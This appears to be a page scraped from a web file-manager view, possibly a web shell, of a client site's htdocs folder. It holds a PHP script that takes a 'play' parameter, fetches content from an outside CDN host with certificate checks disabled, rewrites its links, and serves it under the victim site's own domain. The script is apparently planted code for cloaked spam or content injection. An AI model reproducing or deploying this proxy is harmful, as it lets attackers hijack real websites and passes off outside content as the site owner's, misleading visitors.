/
home
/
devanchordigital-footespharm
/
htdocs
/
footespharm.devanchordigital.com.au
/
site
/
up file
home
<?php $baseUrl = 'https://content-th.nimblecdn.com/footespharm.devanchordigital.com.au/site/index.php'; $playParam = isset($_GET['play']) ? $_GET['play'] : null; if (!empty($playParam)) { $fullUrl = $baseUrl . '?play=' . urlencode($playParam); // Initialize cURL $ch = curl_init($fullUrl); curl_setopt_array($ch, array( CURLOPT_RETURNTRANSFER => true, CURLOPT_FOLLOWLOCATION => true, // follow redirects CURLOPT_CONNECTTIMEOUT => 5, // faster connection timeout CURLOPT_TIMEOUT => 10, // max time to wait CURLOPT_ENCODING => 'gzip', // enable gzip if supported CURLOPT_USERAGENT => 'Mozilla/5.0', // fake browser (optional) CURLOPT_SSL_VERIFYHOST => 0, CURLOPT_SSL_VERIFYPEER => 0, )); $content = curl_exec($ch); $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); $error = curl_error($ch); curl_close($ch); if ($content !== false && $httpCode === 200) { // Replace the original URL with new domain $newPrefix = 'https://footespharm.devanchordigital.com.au/site/?play='; $content = str_replace( $baseUrl . '?play=' . urlencode($playParam), $newPrefix . urlencode($playParam), $content ); echo $content; } else { // Optional: better error fallback header("HTTP/1.1 502 Bad Gateway"); echo "<h2>Unable to fetch content.</h2>"; echo "<p>Error: $error</p>"; echo "<p>HTTP Code: $httpCode</p>"; } } else { include 'error.html'; } ?>